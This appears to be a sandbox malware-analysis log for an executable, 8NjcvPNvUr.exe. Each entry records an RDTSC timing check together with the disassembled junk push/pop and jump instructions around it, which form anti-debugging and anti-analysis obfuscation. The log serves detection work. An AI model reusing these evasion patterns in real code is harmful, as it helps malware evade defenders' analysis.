Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4EC1A5 second address: 4EC1BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1807ED554h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 42E5DA second address: 42E5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 42E5DE second address: 42E5E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4F3BB5 second address: 4F3BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4F3BBB second address: 4F3BD3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FD1807ED54Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4F3EA2 second address: 4F3EA7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4F64AE second address: 4F64E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 jng 00007FD1807ED546h 0x0000000e jmp 00007FD1807ED551h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FD1807ED550h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4F64E2 second address: 4F64E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 50190E second address: 50193C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jng 00007FD1807ED551h 0x0000000b jmp 00007FD1807ED54Bh 0x00000010 pushad 0x00000011 jmp 00007FD1807ED54Ch 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 jo 00007FD1807ED54Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 504C64 second address: 504C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 5086CB second address: 508718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1807ED54Fh 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD1807ED54Ch 0x00000011 jc 00007FD1807ED56Bh 0x00000017 jmp 00007FD1807ED555h 0x0000001c jmp 00007FD1807ED550h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 5080AF second address: 5080B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 5080B3 second address: 5080C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 5080C3 second address: 5080C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 51B106 second address: 51B11F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD1807ED54Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FD1807ED56Eh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 51B11F second address: 51B125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 51B125 second address: 51B138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD1807ED546h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 51B138 second address: 51B13C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 521DFD second address: 521E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FD1807ED54Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 521E11 second address: 521E30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD180B5C167h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 521F8C second address: 521F9B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007FD1807ED546h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 521F9B second address: 521FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD180B5C156h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 521FA8 second address: 521FB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FD1807ED546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 52214F second address: 522155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 522155 second address: 522162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 522162 second address: 522168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 522403 second address: 522430 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD1807ED555h 0x0000000c jmp 00007FD1807ED550h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 522430 second address: 522438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 522438 second address: 52243C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 5226D8 second address: 5226DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 5226DC second address: 5226F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FD1807ED546h 0x0000000e jmp 00007FD1807ED54Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 5226F4 second address: 522704 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 522704 second address: 522715 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FD1807ED546h 0x00000009 jno 00007FD1807ED546h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 524A26 second address: 524A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 5348FE second address: 534906 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 534906 second address: 53492E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD180B5C165h 0x00000009 jmp 00007FD180B5C15Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 548C7E second address: 548C8E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD1807ED546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 56632F second address: 566335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 566335 second address: 566345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FD1807ED54Bh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 565227 second address: 565244 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD180B5C167h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 565244 second address: 565249 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 565249 second address: 56525D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD180B5C15Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 56565C second address: 565671 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED551h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 565C4D second address: 565C58 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007FD180B5C156h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 565EEF second address: 565F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jp 00007FD1807ED559h 0x0000000b popad 0x0000000c pushad 0x0000000d js 00007FD1807ED552h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 565F17 second address: 565F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 565F1D second address: 565F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 565F25 second address: 565F2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD180B5C156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 565F2F second address: 565F56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED558h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jno 00007FD1807ED546h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 56A125 second address: 56A12B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 56A20B second address: 56A215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FD1807ED546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 56A215 second address: 56A219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 56A702 second address: 56A706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 56A706 second address: 56A71B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 56A71B second address: 56A720 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 56DC1D second address: 56DC8D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD180B5C171h 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jp 00007FD180B5C198h 0x00000018 jno 00007FD180B5C172h 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007FD180B5C166h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C40108 second address: 4C40162 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD1807ED54Fh 0x00000009 adc ch, FFFFFFCEh 0x0000000c jmp 00007FD1807ED559h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 jmp 00007FD1807ED54Ch 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d push edi 0x0000001e mov edx, eax 0x00000020 pop ecx 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 jmp 00007FD1807ED54Bh 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C40162 second address: 4C40169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C40169 second address: 4C40186 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1807ED559h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C40186 second address: 4C4018A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20F50 second address: 4C20F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20F54 second address: 4C20F71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20F71 second address: 4C20F77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20F77 second address: 4C20F7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C70112 second address: 4C701D4 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD1807ED54Ah 0x00000008 jmp 00007FD1807ED555h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 movzx eax, dx 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FD1807ED556h 0x0000001d xor eax, 26B64928h 0x00000023 jmp 00007FD1807ED54Bh 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007FD1807ED558h 0x0000002f or cx, 7B88h 0x00000034 jmp 00007FD1807ED54Bh 0x00000039 popfd 0x0000003a popad 0x0000003b movzx eax, di 0x0000003e popad 0x0000003f xchg eax, ebp 0x00000040 jmp 00007FD1807ED54Bh 0x00000045 mov ebp, esp 0x00000047 jmp 00007FD1807ED556h 0x0000004c pop ebp 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007FD1807ED557h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C701D4 second address: 4C701EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD180B5C164h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C701EC second address: 4C701F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C000CB second address: 4C000DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C000DA second address: 4C000F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1807ED554h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C000F2 second address: 4C0011B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD180B5C165h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C0011B second address: 4C001C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 799E8DE2h 0x00000008 jmp 00007FD1807ED553h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push edi 0x00000013 mov bl, cl 0x00000015 pop edi 0x00000016 mov si, A953h 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c jmp 00007FD1807ED556h 0x00000021 mov ebp, esp 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FD1807ED54Eh 0x0000002a sub ah, 00000008h 0x0000002d jmp 00007FD1807ED54Bh 0x00000032 popfd 0x00000033 mov ebx, eax 0x00000035 popad 0x00000036 push dword ptr [ebp+04h] 0x00000039 jmp 00007FD1807ED552h 0x0000003e push dword ptr [ebp+0Ch] 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 pushfd 0x00000045 jmp 00007FD1807ED54Dh 0x0000004a sub si, 47D6h 0x0000004f jmp 00007FD1807ED551h 0x00000054 popfd 0x00000055 pushad 0x00000056 popad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20C31 second address: 4C20C85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD180B5C167h 0x00000009 xor ax, C1DEh 0x0000000e jmp 00007FD180B5C169h 0x00000013 popfd 0x00000014 jmp 00007FD180B5C160h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20C85 second address: 4C20CA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20CA2 second address: 4C20CA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20CA7 second address: 4C20CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bl, 22h 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD1807ED552h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C2078A second address: 4C20843 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FD180B5C167h 0x00000011 adc ax, F5FEh 0x00000016 jmp 00007FD180B5C169h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FD180B5C160h 0x00000022 add si, 5CF8h 0x00000027 jmp 00007FD180B5C15Bh 0x0000002c popfd 0x0000002d popad 0x0000002e xchg eax, ebp 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FD180B5C164h 0x00000036 and ax, B758h 0x0000003b jmp 00007FD180B5C15Bh 0x00000040 popfd 0x00000041 mov ebx, esi 0x00000043 popad 0x00000044 mov ebp, esp 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007FD180B5C161h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C2070F second address: 4C20713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20713 second address: 4C20717 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20717 second address: 4C2071D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C2071D second address: 4C20723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20723 second address: 4C20727 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20727 second address: 4C2073D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ecx, 0747C2EBh 0x00000011 mov ax, A2C7h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C204A3 second address: 4C204A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C204A9 second address: 4C204AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C204AD second address: 4C204B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C204B1 second address: 4C204E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov di, cx 0x0000000d mov si, CACFh 0x00000011 popad 0x00000012 xchg eax, ebp 0x00000013 jmp 00007FD180B5C162h 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f mov ax, dx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C204E1 second address: 4C204F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 2354h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bx, ax 0x00000011 mov eax, 52669397h 0x00000016 popad 0x00000017 rdtsc
